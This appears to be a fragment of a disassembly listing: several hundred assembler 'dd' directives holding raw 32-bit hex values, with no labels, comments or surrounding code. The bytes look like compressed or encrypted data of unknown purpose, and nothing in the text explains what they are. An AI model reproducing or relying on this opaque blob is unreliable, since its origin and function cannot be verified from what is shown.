dd 0C08EA3C2h, 6FF81337h, 0CB00EC1Ah, 8F5FBC99h, 0BD9442h
dd 14CAEDF3h, 0CC38C432h, 0C099E00h, 0E4CE37FEh, 0C0812217h
dd 5233D412h, 0F6E71600h, 543515Dh, 3D211E0Eh, 0DBC0AEA8h
dd 0C748DAh, 0AF6E685h, 69157C8Eh, 0BDA1B10Fh, 0B81AA3C0h
dd 5183D094h, 44B72416h, 2E520038h, 0C83A81E9h, 58690C1Ch
dd 0F6B9CB47h, 0B12BAC50h, 0D1C70089h, 52B4C573h, 0A008DE7h
dd 349829DFh, 2F167B6h, 0F39A6A07h, 0A4809743h, 0CE3EA420h
dd 0AEAA2A07h, 9CA7ADA8h, 8891F573h, 35561EFh, 943EFCB9h
dd 0EBA84629h, 7E00A1FEh, 21E054BDh, 7E37DDA3h, 0E8BF0057h
dd 87402E3h, 0B272142Dh, 0CE364C00h, 0EE4F732Fh, 6D9000CDh
dd 0A89B67A5h, 0E928E43Dh, 9A0EA5C8h, 43EE3810h, 0E8585FF0h
dd 19F1FCh, 0ABCF5B6Dh, 1324FFEAh, 20F6560Eh, 88D1606Ch
dd 0D3893Ah, 0E51833F0h, 274134ECh, 48964203h, 88DA2279h
dd 48537F6Eh, 0C800D5CFh, 5F8F385h, 36009980h, 736B4451h
dd 7906ABh, 1392A5E2h, 0BB197C86h, 0BD5C3C00h, 0C7E45EC5h
dd 6343000Ch, 10708BB5h, 2260B1D0h, 73BB2F90h, 73D01B9h
dd 1C50D9F5h, 0E4F83033h, 2C0056E4h, 373BA464h, 28DC0E77h
dd 498DE7Bh, 3C5D91C9h, 9BA50006h, 304DA1Fh, 4BF7B53Bh
dd 6CD046D7h, 0CF00FC55h, 6BA87192h, 0A41122h, 3DC99683h
dd 0E246B166h, 0F53BC200h, 0D3DD574Ah, 5E1311BFh, 9F0E1E87h
dd 0F26FC4BFh, 0FA527EFDh, 60E50084h, 69AD30C4h, 7500B406h
dd 0F6AB8543h, 3801C5h, 2E7C3C72h, 0F5A5EE39h, 8EFF1500h
dd 9CE93EC8h, 551A5CF1h, 0CB852Eh, 362735D6h, 4100FC14h
dd 2CAB6CA6h, 4F6D80h, 0D190DBCEh, 958689EDh, 64CA0C00h
dd 3ABA126Ah, 57B000B8h, 0DF791AA1h, 41005075h, 0A4EDD49Bh
dd 0F6CACDh, 37405D47h, 61C2693Dh, 38B2EF07h, 24D0FF21h
dd 0DFDCE1h, 429D0666h, 9AB9E403h, 0BB5A5E00h, 616A1F35h
dd 0EC08280Fh, 859B03FCh, 1E042011h, 4C5867F8h, 0E824D30Eh
dd 0C0EFEFD6h, 0CE12E43Ah, 0ACE01F27h, 8EFC8F10h, 0A099BBA7h
dd 0E2D65DFDh, 82CA5B07h, 3510DCABh, 0E498C26Ch, 0A09700F2h
dd 927739FEh, 24FA2C7Bh, 55A8601h, 93B43C87h, 5050C0C8h
dd 9DC888Ch, 0CE5649DEh, 180C2974h, 0F6D01891h, 4B6B0052h
dd 0A6474AF6h, 2F50125Bh, 0CD2274A8h, 0F0FB02F1h, 1DD55F1Ah
dd 0B2634720h, 0C49E0972h, 9F00D1F9h, 93737CA1h, 7D9D9200h
dd 4F551E6Ch, 5A25007Bh, 159A77D4h, 0E800A006h, 0B258EE4Eh
dd 7C47A950h, 3A04005Fh, 0C1281819h, 80C07C77h, 6BC03EF4h
dd 239B0190h, 83FB2D21h, 9C05C7A8h, 0B14CC668h, 0B5813FC1h
dd 9976C0E7h, 955D1CB9h, 9F7C8017h, 39B1E684h, 341D2700h
dd 737A7D6Eh, 5C5E1EFDh, 2977C41Fh, 8F5080DBh, 0E7004CE2h
dd 468A6EEFh, 0F8C162h, 0D2FDBF03h, 0C98CA3BCh, 0ABB12200h
dd 17677D88h, 7C560052h, 1685FF24h, 98FE55BFh, 0C0780D30h
dd 28F8AA08h, 21A8280Fh, 2264CC46h, 29AA4040h, 623EC9BBh
dd 0FE7FFE86h, 0BC501C38h, 94170E11h, 711AE0B4h, 0A02CFF74h
dd 10664998h, 5126259h, 0FE57A6BCh, 0EAC1D9C0h, 1BF094h
dd 85912E0Ah, 0E9754AAEh, 0C9105C09h, 4F7800CDh, 0EB63B1h
dd 5FAE8F6Ch, 7A201CF8h, 66C19C07h, 986A9212h, 0B4DA7507h
dd 7D3A47C0h, 38811764h, 202405FEh, 0E406801Bh, 5B004DCCh
dd 0F54670B7h, 9442C10h, 7AC0CE2Dh, 0FC349480h, 0DE00F48Fh
dd 41E135A3h, 1D830BFh, 0FABF33Ch, 41759A7Dh, 10A076A0h
dd 0E0D9C7h, 0FF505EB9h, 551A87CAh, 6B63DAB8h, 0A078E820h
dd 0A3C3919h, 0FCABB22Ah, 0F21301FDh, 50E2CEE1h, 19EBF8B8h
dd 6435E05h, 9D80301Fh, 0C0E48CBDh, 6108C8A8h, 6C004512h
dd 186F79EEh, 0CF4652h, 3A5366DDh, 0F5B4BFD1h, 9E0DF00h
dd 0B31901A5h, 1A240929h, 0CC003448h, 1C4E6E64h, 80CDBB3Eh
dd 0A75A251h, 0E6048AFh, 4C2C22E5h, 3F4F2F83h, 0E9AE3DF8h
dd 26041C98h, 9E74531Eh, 0F8B53701h, 9919F0FCh, 6088A324h
dd 4C00F3A4h, 0ED55AD4Bh, 440A0F6Eh, 70050C4h, 0AF8C3360h
dd 740B7D00h, 0F6A71C51h, 479606E3h, 0A09808D9h, 0A6BEA41Eh
dd 95FB6605h, 23728C40h, 0E2B7E7E8h, 3AF10524h, 80F369C4h
dd 3266C86Eh, 61033D03h, 0B001FE74h, 901933CBh, 0C19007A0h
dd 204B8D65h, 8907E703h
dd 61C2D4Dh, 0EB73EF6Fh, 980B29D0h, 0F98300B4h, 0F025D358h
dd 33026B90h, 22165A7Fh, 568CC002h, 710B0224h, 0E17DC61Ah
dd 8C00B4C4h, 2C96ED0Eh, 0B98CFC2h, 0D678FE89h, 0E323FD0Fh
dd 1001FDE7h, 355881ECh, 0F2CC9BBDh, 4DDF2877h, 0C54C0EC4h
dd 56632557h, 81C00476h, 0B0C02BA7h, 3F08FD93h, 2FE600BAh
dd 4D4756A9h, 0C73AF703h, 0ABEC8076h, 94F031FEh, 0ED060002h
dd 439FA33Fh, 0A4B140DEh, 38D33300h, 304D8D35h, 0EA908CD1h
dd 90051F5h, 6DAB7522h, 203A2h, 7E44F3F9h, 266B814Eh, 4019BFCh
dd 0C71641AEh, 0E1EDA59Ch, 18539840h, 0D09F00D3h, 5CAD9A09h
dd 51008CA0h, 0ECCB95Ah, 4CB212A8h, 6E00DC74h, 0F802D1E7h
dd 7701E6Bh, 5EA04B02h, 68AE21D2h, 13CA08A8h, 4005B7F9h
dd 394D1F48h, 0CC0B2161h, 0A0DAC52Dh, 42B32CA8h, 0D26E001Ah
dd 0DD83A8C2h, 0C80110F8h, 26EEDB76h, 0DFD8AC6Ch, 0C0467B87h
dd 4777C551h, 33003528h, 0DEEA5861h, 9B8625h, 16A0A47Ah
dd 0B1C1B95Bh, 902F6200h, 5758D7C3h, 6F4D5882h, 70FAAD00h
dd 50AFB31Fh, 9A693100h, 0FB903638h, 2C59706Dh, 407CEBD4h
dd 0EDC48BDBh, 0A80001F0h, 0B7C0C66Ch, 1D0A94F5h, 877A9F17h
dd 60B983B3h, 0D2A8C77Eh, 0EA605700h, 134C086h, 0CCA500E4h
dd 0D18EDF7Ch, 13E4BB44h, 1F47D0BDh, 0C04ABF2Dh, 0C4827077h
dd 61096778h, 80BBE0FDh, 3E230504h, 0F616001Ch, 0FEB965D4h
dd 0E4009F74h, 31E161B7h, 0C566A3h, 0FA73DFA8h, 0CBF79EBAh
dd 9149DDA0h, 14B36C09h, 9B788750h, 786B32h, 2F5B2B55h
dd 54E5800h, 9727FBCDh, 0A4990745h, 1042E009h, 5C11FC38h
dd 76B43Ch, 0E13CCDFAh, 58B2F377h, 8128A968h, 291005AFh
dd 0C028970Fh, 0E3C7FED0h, 5D329480h, 75730C73h, 0A8F685h
dd 87AF3C93h, 0E072ABC6h, 0C5004090h, 2A317FA9h, 67C137Dh
dd 19ED01DCh, 8C009ECAh, 0F3D3A470h, 24353Bh, 2F60B873h
dd 6E6DFAE1h, 8483CD3Ah, 0D953562Eh, 7AF77180h, 90197327h
dd 0D4F60Dh, 6FB7CAE6h, 0E8C6D562h, 85723Dh, 0B37B05D1h
dd 7E1FC5Dh, 0EBA09F2Eh, 38DDB0E3h, 0C500654Ah, 0BDD3F05Eh
dd 1FDC3CDFh, 0C00E264Eh, 74EF2032h, 7B716F35h, 5286FF13h
dd 43A0D00h, 2BDFE4h, 548E07C8h, 560168C6h, 0C0782900h
dd 625BD6A9h, 421A1C2Bh, 3F090067h, 59908B32h, 661D1500h
dd 6A48CF7Dh, 885700FCh, 0A3407A8Ch, 1E00F634h, 7F5EC016h
dd 1B061B1h, 88B37039h, 41FFD3F9h, 50979154h, 328F379Ch
dd 0D8ABB001h, 0ECF112B3h, 0DAD4E0h, 7B9B3438h, 115AE90h
dd 0F2758E78h, 31B27507h, 88D08FB9h, 0CD3BE8h, 0A16F43ADh
dd 2B8C31Ah, 8DC75600h, 7EE234A6h, 0C1DB001Fh, 4606138h
dd 0BF03BD5Fh, 0B132AE9Eh, 8480048h, 0F833BC6Bh, 3DFCE1A0h
dd 35982817h, 0FA54841Dh, 0FBBE01A8h, 9B3ACE25h, 0B907E06Bh
dd 0B7784D70h, 817C5A18h, 307269A0h, 8459FDA6h, 2C01F1EBh
dd 0C17A469Fh, 44EC9D10h, 9380394h, 0DE0F22D2h, 6E88EDB0h
dd 40134D0Eh, 1ABA408Ch, 3A846225h, 158031F5h, 0A3AC5C16h
dd 433ABEE3h, 66398072h, 958C36DAh, 21C91C3Dh, 0A1B140EAh
dd 30BB7932h, 5CC6E800h, 9FD2B20Ah, 7AB70096h, 69D5F433h
dd 53783935h, 0DEC4CF00h, 4434FD5Ah, 0F21900D6h, 0E1F98B68h
dd 9801CC04h, 4F87A422h, 24F84A60h, 0D5961CA8h, 0AD99807Fh
dd 0BC1CB2D1h, 0CBF07D63h, 356EC061h, 6CB500FAh, 4A62AFE2h
dd 9B003BF6h, 0CDB0719Dh, 0D73D19h, 0D94B48E5h, 0A99279CFh
dd 8B2EE200h, 3C9B4DFDh, 743A019Dh, 0ED61A4F5h, 6078C4E1h
dd 0F4B9FB00h, 0A230797Ah, 0DA0F0010h, 0D962B44Fh, 0E8F4C338h
dd 0FD015EEAh, 6B2BCD4Eh, 5CE8E0F9h, 0C4870023h, 0C5505576h
dd 94019720h, 92F20213h, 0CAF8119Ch, 0EA4300CDh, 161FEB22h
dd 4B01DBC8h, 15D13628h, 0F020B3B2h, 0E6D80023h, 9E7DFEDCh
dd 9B0099CDh, 0FFA20F71h, 0EA1F97BDh, 80A9004Dh, 483A7C7h
dd 0C82E376Dh, 0BC1EB7F6h, 0AFD93845h, 0BE05B000h, 0ADEC5Ah
dd 57D5BDA1h, 0EE3041FCh, 9928E200h, 0FE4B469Eh, 784F71E3h
dd 54AA0022h, 0F2CF317Ch, 4724D9FAh, 0DC00289Ch, 8CD2C4E7h
dd 0ED795Ah, 0C39EA6B5h, 0D5D8E5A9h, 9D3DD600h, 63A8A460h
dd 3E1BEA2Eh, 0A3006444h, 42026685h, 2A1D16D0h, 0FE402F6Dh
dd 7D14E10Ch, 53EF015Ch, 166F8956h, 4EC8F06Ah, 0F8CE8501h
dd 0CFDBC4BEh, 632F60CAh, 0B345005Eh, 49AEF497h, 6B3C9888h
dd 0D67F800Fh, 0F1329F92h, 0E2890CCh, 8B3DB991h, 7A96B4C0h
dd 0DE07DBFEh, 0A0C46D81h, 2702AB80h, 84F8C9h, 0D9F930B6h
dd 0A7D27F86h, 0DEFF8903h, 0E062D52Bh, 411C9h, 7358273Eh
dd 6EF18C35h, 6001D0D6h, 4D318446h, 9AB6370h, 6A881D3Bh
dd 11B24400h, 0F9797A28h, 35C2E100h, 1ABE4225h, 8800040h
dd 696BAB59h, 0DC18C145h, 1B8CDA9h, 0E8392444h, 28D012Bh
dd 0F41CFF14h, 470096B2h, 2AB5CCD6h, 3CD79780h, 2700C62Eh
dd 7A70A233h, 0A9010E91h, 0C0ECFE6Dh, 0F043808Dh, 0C4BCD84Fh
dd 0E0F482h, 4C2EF1C8h, 6F364904h, 87035EF6h, 0BD88BC9h
dd 189C80AFh, 0E9FC05h, 25E84C79h, 628A44CCh, 6A2FB503h
dd 98D877F8h, 0C17BD5h, 56155F1Ah, 0C5B4D3A0h, 0D4AFE000h
dd 0ECD1B1D9h, 3E3200A5h, 0E6979FB3h, 27716AAAh, 2F078CE0h
dd 55C8D0CEh, 7AD2A2A0h, 0F8C50034h, 0BD8B8192h, 1F3F992Ch
dd 0B25680DEh, 33C3BEB0h, 0ABC5002Bh, 80BDFB6Ch, 7817B99Dh
dd 0B9001699h, 7C380983h, 0BAFA60h, 0A42DDF90h, 0CF46C959h
dd 865E0A07h, 6C092B4h, 2571448h, 8B96C88Ah, 9D60310Ch
dd 4000AAB3h, 0C9AF37CCh, 7138BA48h, 523E00BBh, 0DF263F2Ch
dd 490B79B7h, 4B3429h, 22C95639h, 0C86400B9h, 301A0939h
dd 0C48A25Bh, 6A570144h, 0D7F95A25h, 28121180h, 18D46B49h
dd 0DE2BB800h, 0D7CA8132h, 0BE933CF6h, 0F125F882h, 67C0451Dh
dd 996064DEh, 0D88F44C8h, 9E2000FDh, 94AF73A2h, 0C4001355h
dd 0D77E6EA3h, 278A8Bh, 31D8E73Dh, 41AEDC43h, 4022C830h
dd 0E3D3FC4Eh, 184B1000h, 0FD1586E8h, 94BF88h, 0D61329DBh
dd 55421h, 10EB6B43h, 4139B8B4h, 0B0C2C90Eh, 0CFA8A016h
dd 45D2DEh, 0B715AD5Bh, 0B19AD40Bh, 7FDA2800h, 49EACFE4h
dd 0FC260080h, 34E7A646h, 1A002DE1h, 1B4C5065h, 0AE5429h
dd 9871D547h, 0E52B4D62h, 43795200h, 0C0DB19AAh, 970A07E9h
dd 700681B2h, 2780BBD4h, 93A52B00h, 777B26D5h, 0E00400DDh
dd 49CE96FDh, 0CA003EE8h, 7A750B2Ch, 313382h, 5288E5A1h
dd 0BDE94A74h, 2E782D00h, 389A8A48h, 58A17B60h, 7100CDCEh
dd 4D3F6480h, 3098E265h, 28A7B726h, 9F004493h, 6FE0EB6Ah
dd 75970021h, 88BB4290h, 0A63CE31Dh, 0AA79000Ch, 34EAFD07h
dd 708100E5h, 9A887E3Ah, 0F11FFE1Fh, 8B01717Bh, 857A7C99h
dd 0A94AECh, 0B492CB17h, 8ABA570h, 0F14FF07h, 2D90237Ah
dd 0A0BCE1h, 3DC6B13h, 7B774DC7h, 767A0B00h, 0F789BAF3h
dd 0B88C032Fh, 35F0D97h, 0EEB328D8h, 3B1D9679h, 18C2E74Fh
dd 4A4BDC30h, 4F80858h, 6A00DC55h, 16983C3Fh, 536436D2h
dd 0DBB838CCh, 10067330h, 0CF660Ch, 9B65D28Ah, 6456B1BAh
dd 71E58801h, 74CDBC7h, 32374C30h, 6F290C41h, 0E36E6110h
dd 9106802h, 843890Eh, 24784427h, 8F92284h, 26115742h
dd 1D402113h
dd 6B426251h, 1C105821h, 44011D84h, 0D944A5FFh, 4278486Ch
dd 132405BCh, 1216C521h, 0D6B511F4h, 792726h, 0D1718436h
dd 0A9A47A7Dh, 0F23BC400h, 37620961h, 0D5100E18h, 0A0202B72h
dd 816995ECh, 0A9513C00h, 710D7A48h, 0E4B20030h, 7855FFC1h
dd 0DA00EC4Fh, 336C2B4Eh, 9B70Fh, 0BDADA46Eh, 0A80A9DF8h
dd 0E9B37500h, 2925A737h, 199E006Dh, 70306EAFh, 9B00EC3Ch
dd 0A1971F5Ch, 37E885Fh, 0A9863D09h, 74E8BFDCh, 3F1D4BD8h
dd 1180CECDh, 7152856Eh, 23070054h, 2F3CA996h, 3A06C0B2h
dd 0E1CCAC7Fh, 4B240011h, 802C89A3h, 0EC000B20h, 9C439413h
dd 0CE341Eh, 0A306442h, 2E3BCAB4h, 0F1491173h, 8E3E0030h
dd 4A40C351h, 0F3B400DBh, 2D62A7DEh, 69008AB1h, 1D3C2E47h
dd 116732h, 98B733D5h, 5CFE77FDh, 84F9200h, 0C3AD1C7Ah
dd 4B4100CCh, 215D024Dh, 4500DBAAh, 9CB7B469h, 0C924B6h
dd 99A9EB18h, 0D5255DD4h, 2E0044FCh, 14069AFFh, 0B5C507h
dd 0F01659FEh, 0F663D902h, 7C9BA012h, 6CB38000h, 0CBE06Ah
dd 0BD454A23h, 512955FCh, 2D3CCC16h, 22013216h, 0AD2E231h
dd 5363C8h, 0D0F40786h, 5A0F610Dh, 0DCC8F701h, 360130DAh
dd 3048BF8h, 2D41B01Eh, 0DB80F1B8h, 0C3011985h, 0F5ECBE15h
dd 29C0AD7Ch, 3ED00C2h, 2B48E869h, 24007F09h, 3320A974h
dd 3F3A2ABh, 0E1355CEAh, 7EF8B2A0h, 7500AF0Fh, 0F0BB6C3Dh
dd 0B6FDD7h, 0D0DCA1CAh, 5CD989F5h, 1BEB4000h, 15808FE2h
dd 4ECC7978h, 13A875h, 0D710D8C8h, 0CA1FD3h, 2C922962h
dd 0CDCF20FAh, 0E54DA58h, 21C64C9Fh, 887055Eh, 3BE45C0h
dd 530AC74Fh, 14F88A8Ch, 0B70064D4h, 7E29FCAFh, 934107h
dd 578EC1B6h, 1ECED6F3h, 71008575h, 0D17B614Eh, 591A83h
dd 56688C80h, 94B9510Dh, 1DB1F71Eh, 4FD814C0h, 1841050h
dd 84A92A8h, 0EC2290D1h, 6D0004BAh, 0ACFC2E99h, 0E6E183h
dd 662DB006h, 0E88562BEh, 8D2C024h, 0A05F7200h, 80D336DFh
dd 3800DE0Bh, 0BDEB91E3h, 4E1637h, 8AE6D79Ah, 5F8304D5h
dd 11ABC002h, 68608984h, 90B873BCh, 0CA7901C8h, 82C1566Fh
dd 0D0EC408Dh, 6900AF6Ch, 0E6D6BEDh, 189B4091h, 20E805DEh
dd 90042E2h, 8AA97CC4h, 0C1286Bh, 87717996h, 0C0B6367Eh
dd 78741900h, 0B8AE44F8h, 0B7160205h, 5AEA6630h, 0E61EE5F4h
dd 9958F940h, 2E8BDFCEh, 0AF2992h, 9F7CA14Eh, 5E002FC8h
dd 0FD874B6Ah, 0F805B4DAh, 23BA008Ah, 0E977A327h, 6F014D2Ah
dd 0D471C10Ch, 0BBD08834h, 0DC3B00C9h, 0D7477BB4h, 22009BBAh
dd 27D0F7EFh, 0E405CD0Ch, 66DA009Fh, 0B362CF99h, 7300DECAh
dd 0FECB0445h, 0DC14C4h, 0B6F1D5C1h, 0B91AC6E7h, 0BC2EB200h
dd 16425F80h, 4CFD24A2h, 212F1h, 27D6B0B4h, 9000EAC2h
dd 633D8466h, 644AABh, 0C90AE20Ch, 68F3B5C8h, 95A67B00h
dd 41EE849Ah, 0F0BF07D8h, 0F04B1235h, 0CC232AF5h, 9F3BAE75h
dd 80CEBDC0h, 0EA421CAAh, 7128D0h, 9DBD614h, 0ACD322B6h
dd 0E8912100h, 8C4CF005h, 0EF3D005Dh, 0E6884866h, 36092AE5h
dd 802C25C2h, 0DA144278h, 26A2F862h, 9C6D7Ch, 0B7F65A8h
dd 0D2783BB6h, 0C2018B00h, 0C0B39FDCh, 343600BEh, 0D5E53FD7h
dd 24E71B44h, 70009020h, 655526B7h, 4D53DFh, 0E1F1F429h
dd 5A75CCEAh, 0CE071974h, 0B2E78CDCh, 33B65CD0h, 518D0025h
dd 0C804A5A0h, 0DC24F941h, 0E70055B7h, 184C3EB8h, 0AA11132Ah
dd 0B1B84009h, 0DC534069h, 4CD0BB26h, 24C7500h, 301BAD97h
dd 1868B736h, 0AF039C94h, 0B68D8C01h, 0E96BB004h, 0FC03FAE8h
dd 71F100D7h, 0C0BF6025h, 0E307440Fh, 0D41E9047h, 0EA6F6C62h
dd 0B56B8020h, 0BEDA7Dh, 49B28640h, 0CA69948Dh, 20D7D826h
dd 74265701h, 0A0C0FFD3h, 0B61500F3h, 0BDFA595Dh, 2A0292F1h
dd 0E46C9F96h, 2680C06Bh, 0DBCD00C2h, 9A1555B1h, 7A0049CFh
dd 4804A847h, 7BA53Dh, 30374B8Bh, 0A17E5328h, 0E984D650h
dd 26645095h, 0C33332h, 0F9B36725h, 0A60089E3h, 4A6D5E9Bh
dd 561E9Fh, 42BE6B6Fh, 788D9AA1h, 8ABAB400h, 0CD959AAh
dd 1A923A6Dh, 28549825h, 0B80FF01Dh, 82090044h, 3BDE565h
dd 128AC121h, 0D59174CFh, 1AB7D41Dh, 1681CE03h, 88BF52E2h
dd 3A02AC43h, 0D20E7826h, 0D6E51B95h, 0D138B05Dh, 980039E0h
dd 0F5EFEBB7h, 3D1279AAh, 0F08066FEh, 64C0346Fh, 0F400285Dh
dd 2FABECA8h, 3F04846Bh, 8B02F541h, 7D5F14Eh, 0AF14C880h
dd 571D9658h, 0EA479201h, 0A660E73Dh, 0CEB6D7h, 0B7F6A9F5h
dd 58E2AD95h, 2348F890h, 0AEC980A8h, 0F8E3717h, 6A08D5EFh
dd 2B5EDBC0h, 0B676E7CEh, 151E7C00h, 8C65CCC2h, 0EE9D0025h
dd 0B42C29E2h, 3F00692Dh, 163DF128h, 0A0B9D5FAh, 86AC8Fh
dd 2D682297h, 1F2CF264h, 0E5196500h, 0C14EBB29h, 0C5B500C0h
dd 92CB537Ah, 9C4C7EDDh, 0EE1E1990h, 8360ECC0h, 323100D4h
dd 0FC25C35Bh, 0C6002F47h, 6B6CCF7Ch, 67AAF4h, 8EDE7A23h
dd 83C98F7Fh, 0A291C316h, 34D846A0h, 3DCA893h, 957C3FD0h
dd 82036EE7h, 0AF0FE5Dh, 47007ECFh, 5BECC5FFh, 317F562h
dd 0FE382D64h, 0FCC027A5h, 0C70EC9E1h, 8ECE974Eh, 1AEA6021h
dd 90A44201h, 3EEE0044h, 1F0C52C2h, 4C482402h, 0EC60088h
dd 73614887h, 5C7400F1h, 0D35DA772h, 793D6D76h, 17930099h
dd 0E3ABC212h, 0DB9E012Ch, 4B5FF548h, 867B3047h, 0D8A9CB00h
dd 714F363Eh, 0C090C3h, 0FDA176C2h, 496AB2E8h, 28254270h
dd 73547Fh, 5B8C3B8Dh, 821C5ACFh, 0E5402523h, 0F0D866E7h
dd 0F7C900A8h, 0ACFF10F8h, 9C00483Dh, 0BD525683h, 1964C18h
dd 68C0F4AAh, 2020A269h, 2312CD31h, 0D4002CEBh, 3A3530C7h
dd 9060E95Dh, 90E70F9Ch, 0C3C0C0D2h, 0AD1AFBDFh, 32794000h
dd 6BEAAF53h, 10845D37h, 8B964400h, 0E831C3D5h, 0F1FF4A01h
dd 52204FF9h, 24B7AFC4h, 25DE2FAh, 0C51D8928h, 0AA32840h
dd 0AEFF1300h, 59D05D08h, 0E8380093h, 5BAF7176h, 9C009104h
dd 0D3014129h, 0CCE054h, 0EED5BDC6h, 6FDB2F5Eh, 0EB0FD0A0h
dd 0D1A2351Eh, 2D3189h, 0C4882965h, 9EE814C9h, 510ED06Ch
dd 13808174h, 78CC161h, 0A07BB607h, 0F74089E5h, 7E51ACh
dd 3F36BF4Fh, 0E3E207EAh, 89BD250Fh, 40838009h, 49FACh
dd 9748F86Ah, 0F3BA60B1h, 8402FA04h, 65C0FC67h, 0CE015Fh
dd 0CD1D4A03h, 0D4400A15h, 0DEA1081Fh, 7801719Dh, 86952957h
dd 9930B4D1h, 938E014Ch, 0B6B16C0Eh, 23892001h, 397D7400h
dd 53C8DF05h, 8D8B00B2h, 63EB99E0h, 23002B98h, 7564F95Ah
dd 4CEA34h, 0A64349ACh, 0B6C00E85h, 0D958E30Eh, 1F0A0033h
dd 64678h, 0D7150C41h, 8CCA6AADh, 80F5703Dh, 780450E1h
dd 63B169h, 8B22814Eh, 0EDFB9894h, 2C1720E1h, 0D9238700h
dd 8062996Eh, 6F571D31h, 7E08424Eh, 1DE2B337h, 0A2773F80h
dd 0D41EEE81h, 8E0972AAh, 260C18BCh, 5390040Fh, 0C15B7301h
dd 0C07E1F48h, 46008342h, 397AC8A1h, 0B60E16h, 0ADD82C45h
dd 56C758A0h, 8499E900h, 3BB0A84Ch, 12C41FD3h, 55E343CAh
dd 3098F2ACh, 0FD7A88DFh, 82B42F38h, 3A53738Dh, 1314E090h
dd 5F960463h, 0F02C07F8h, 0C1038DCh, 6000BF31h, 80D7CBA6h
dd 0D97A5196h, 9C357907h, 9003DEBh, 3E6C2684h, 0DA802B48h
dd 785C51AEh, 7E3DC001h, 4FCD8034h, 8BE1CB03h, 9C530061h
dd 0DA602081h, 0D001833Ch
dd 66C2B9BCh, 52208F5Eh, 1F2377A3h, 939CECh, 1C95506Fh
dd 0C7E05E7Ch, 0F6A2FB07h, 0D605567h, 98A37C4h, 817DF2CCh
dd 0B8ECDE80h, 380B6186h, 0FEB02892h, 0DABF0046h, 20A33BEDh
dd 97117E00h, 2F18E0C6h, 7653B0F8h, 877F0243h, 0CE51A580h
dd 508B84A0h, 730B8A12h, 801CE2A1h, 635BA27Dh, 6F5F006Eh
dd 75703D2Eh, 0A400DB09h, 335AFD20h, 92B768h, 2F7BA21Ch
dd 6F3AE232h, 0DA075Ch, 83D4CD4Ch, 39C5DFEh, 8271C8A6h
dd 0BA8B644h, 0F00BE23h, 0FBBC99ECh, 0D21BD0h, 6378A26Bh
dd 698F4E5Ah, 0CBD11900h, 5D7A669Fh, 37E7839h, 0F4D9B283h
dd 0D88AC7C6h, 2B892460h, 0BDDC0E00h, 63A74613h, 9AC00BCh
dd 3BF40464h, 14986E3Eh, 959C1F00h, 0CFB31925h, 2944017Ah
dd 0EC0134CBh, 637A305Fh, 2E406858h, 0DE007C71h, 0EFF15CE8h
dd 6070B4h, 0B27F6D79h, 0A26A14D7h, 2CC27E0Eh, 240992E2h
dd 2988113Ch, 7D083Ch, 98CEF9C3h, 0B11D260Fh, 0BDEF0E00h
dd 0FF30BAA2h, 6DFA0062h, 264FF33Ah, 9301DF76h, 619AB7E6h
dd 0AC84BC3h, 0EFCE0F2Ah, 2117B30Eh, 80C41CFCh, 0A1815E18h
dd 776F7A80h, 2BC1263Eh, 51B780CCh, 0A0C8EEC0h, 5BF5F200h
dd 0B807F190h, 31F6CAh, 9F1D47C2h, 0B7A1F7D8h, 80B97924h
dd 0E40B843Ah, 0D490F550h, 7DB43Fh, 0C17781CDh, 0F8A1CC73h
dd 24A75F00h, 3CE438EEh, 29D000ABh, 2E91FCC4h, 4D00358Ch
dd 84477031h, 0B03D6B06h, 0B4E00030h, 3409B896h, 0B8967427h
dd 0D6B2E00h, 0B07E88AFh, 0AC4B0035h, 0D53DF5A8h, 0D100DB94h
dd 6408F910h, 95CCC3h, 5FE563FAh, 73545548h, 56F12300h
dd 0B2079B29h, 0BE3F3031h, 0FD2EC9C8h, 0ACCFA22Ch, 9BBE800h
dd 3B0AFFD2h, 9D80A507h, 0FEAB4A7h, 0FD02F710h, 9AA989D1h
dd 0E9AC8024h, 325C1C9h, 9D585651h, 0C0E53002h, 508A9BFCh
dd 9A7B0FF6h, 0CDDF8100h, 3D897C19h, 3C910F2Ch, 2D403974h
dd 209FEDCBh, 33AAD01h, 24291EE1h, 624820h, 64211CFh, 0D19F8A80h
dd 0A088202Ch, 5DDFF100h, 388F3208h, 0AC58471Ah, 1FBE100h
dd 781B426Ah, 0E29C9D04h, 5B81A7C9h, 0A860295Eh, 0A89103B7h
dd 6C70AA0h, 0EBE125E0h, 0BAD8AB3Ah, 0E5F280FFh, 79180EC0h
dd 587F488Bh, 89F4400h, 4AB18621h, 6F69E807h, 0C6205698h
dd 51A51EE6h, 7FC4ECD7h, 6E9004Ah, 4445D2F1h, 190024BBh
dd 0DE68071Eh, 64B8C75Eh, 0C0525A3Ah, 6BE617E8h, 4FB00082h
dd 48908818h, 0C000C428h, 9EBD21ACh, 5300BE12h, 8A2CA09Bh
dd 1ED83DCh, 7B01611Ch, 0DD57D596h, 98E84889h, 0DEE221h
dd 9647084Dh, 0A8037520h, 2905C382h, 0D3AEC891h, 3087F009h
dd 80E80136h, 3203731Bh, 0F7B9E0BCh, 0A5FBB8CCh, 5C7B33h
dd 811D4F7Bh, 2D2B6AA0h, 0E25C500h, 0CF67B63Eh, 0BD08B683h
dd 9C33FC8Bh, 0E85500A6h, 4C3A4308h, 0BCC06E44h, 7D133975h
dd 0B8E29F00h, 0B09E9303h, 530E0FC6h, 63405C8Ch, 73944EE7h
dd 25A4A0C0h, 982F2BCAh, 0B87400C4h, 5D06EBBFh, 633A0E71h
dd 6D9E020Ch, 0AECC33FDh, 62B7A780h, 0D96FEA40h, 0C5980124h
dd 146ED231h, 0BA5CDC80h, 4A7BFEF4h, 12C02B48h, 0CC1EF673h
dd 60EEF480h, 0B7DAD85h, 5BA2DA1h, 21599003h, 750C40D8h
dd 46BC8200h, 0BEE4A3AEh, 706900B1h, 0FA22F67Ah, 0D2006A3Dh
dd 0FE89013Fh, 0FA37A23Ch, 7A7F3057h, 2FCEC8D0h, 88E2CA13h
dd 335B0840h, 60247C72h, 0BDE0BAAAh, 33A60FBh, 0FC9280AEh
dd 97304E76h, 0EC3D3BB8h, 22FD007Fh, 0CD56D41Bh, 0B8A058B7h
dd 4267F6Bh, 0ADA6844Ah, 35E07800h, 2FFC409h, 83DED23Eh
dd 0F2C014D8h, 5B0059A0h, 1F4B69CDh, 1814DE5h, 9DB0D66Bh
dd 407F6172h, 0DBD1CFCCh, 0AB805900h, 0B1E06A6Eh, 40E3004Eh
dd 32C1B4DCh, 6276D321h, 8F568A38h, 80E79D87h, 0C7894407h
dd 68CF001Dh, 0AF73EB3Fh, 0B700964Ch, 9F5C853Ah, 7BF79E1Ah
